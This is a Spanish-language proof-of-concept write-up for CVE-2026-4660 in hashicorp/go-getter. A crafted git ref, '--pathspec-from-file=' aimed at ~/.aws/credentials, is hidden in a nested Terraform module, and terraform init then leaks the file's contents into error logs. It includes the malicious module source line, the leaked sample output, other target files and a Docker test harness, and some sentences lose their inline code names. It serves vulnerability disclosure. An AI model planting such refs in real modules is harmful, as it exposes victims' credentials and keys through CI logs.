
PoC para CVE-2026-4660: lectura arbitraria de archivos mediante git checkout en hashicorp/go-getter
Prueba de concepto para CVE-2026-4660 (aviso de HashiCorp) en hashicorp/go-getter. Soy el reportero original.
Un atacante publica un módulo de Terraform con un ref de --pathspec-from-file=/ruta/al/archivo. Cuando la víctima ejecuta terraform init, go-getter clona el repositorio y llama a git checkout --pathspec-from-file=/ruta/al/archivo. Git lee el archivo objetivo línea por línea, falla en cada línea como pathspec y vuelca el contenido en su salida de error. El ref malicioso está dentro del código fuente del módulo del atacante, no en la configuración de la propia víctima. terraform init falla con un error de descarga de módulo; los valores de las credenciales aparecen incrustados en los errores de pathspec de git en la salida. No se necesita apply.
La vulnerabilidad existe en dos rutas de código en la librería go-getter. Se usa cuando el directorio de destino no existe; se usa cuando existe. Ambas llaman al mismo . difiere en caso de error; no lo hace, por lo que el directorio sobrevive al checkout fallido.
clone()update()checkout()clone()os.RemoveAll(dst)update()El instalador de módulos de Terraform (initwd/module_install.go:251) siempre llama a os.RemoveAll en el destino antes de invocar a go-getter, por lo que Terraform siempre activa clone(). Packer, Nomad y cualquier herramienta que llame a la API de go-getter directamente contra un directorio preexistente activarán update() en su lugar. El PoC demuestra ambas rutas.
Afecta a todas las herramientas que usan go-getter: ejemplos incluyen Terraform, Nomad, Packer, Waypoint.
Corregido en: go-getter v1.8.6 (ninguna versión de Terraform incorpora aún la corrección a fecha de 2026-04-10) Gravedad: 7.5 Alta (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
El atacante publica un módulo de Terraform de apariencia legítima en GitHub, por ejemplo un módulo de VPC de AWS con código real y funcional. Escondido en su interior, una fuente de submódulo apunta a un segundo repositorio controlado por el atacante con el ref malicioso:
# dentro del módulo del atacante; la víctima nunca lee este archivo
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
La víctima añade el módulo de nivel superior a su configuración:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
Ejecuta terraform init, ya sea localmente o en CI. go-getter clona el módulo de nivel superior, encuentra el submódulo anidado, lo clona también y llama a git checkout --pathspec-from-file=/home/runner/.aws/credentials. Git lee el archivo y el contenido aparece en la salida de error de terraform:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Nota: [default] es eliminado por el renderizador colorstring de terraform incluso con -no-color (interpretado como un token de reinicio de estilo) y aparece como un pathspec vacío '' en la salida real. La salida cruda de git checkout en el PoC muestra el contenido sin alterar.
El ataque no se limita a archivos de credenciales. Cualquier archivo legible por el proceso es un objetivo: /etc/passwd, archivos de tokens de CI, configuraciones de aplicaciones, cualquier cosa accesible desde el runner. El PoC demuestra ~/.aws/credentials, ~/.ssh/id_rsa y /etc/passwd.
En GitHub Actions, CircleCI o cualquier sistema de CI que registre la salida de terraform init, esos registros son legibles por cualquier persona con acceso al repositorio y, a menudo, se exportan a agregadores de registros (Datadog, Splunk, etc.) sin caducidad. Las credenciales de AWS de la víctima, claves SSH o cualquier otro archivo legible por el runner terminan en el historial de registros. La víctima ve una compilación fallida; los valores de las credenciales quedan enterrados en lo que parece un error de git.
docker compose up --build
Dos contenedores: gitserver sirve los repositorios git desnudos del atacante a través de HTTP, poc se ejecuta como usuario runner con credenciales falsas en ~/.aws/credentials, ~/.ssh/id_rsa y un /etc/passwd legible. La fase 1 ejecuta terraform init y demuestra la ruta clone(); una comprobación centinela confirma que los directorios de módulos se eliminan mediante el RemoveAll diferido de clone() en caso de fallo. La fase 2 ejercita directamente la secuencia de llamadas update() de go-getter (fetch + checkout) para mostrar que la misma vulnerabilidad de checkout() se activa y que el directorio sobrevive, consistente con la ausencia de un RemoveAll diferido en update(). No se necesita interacción.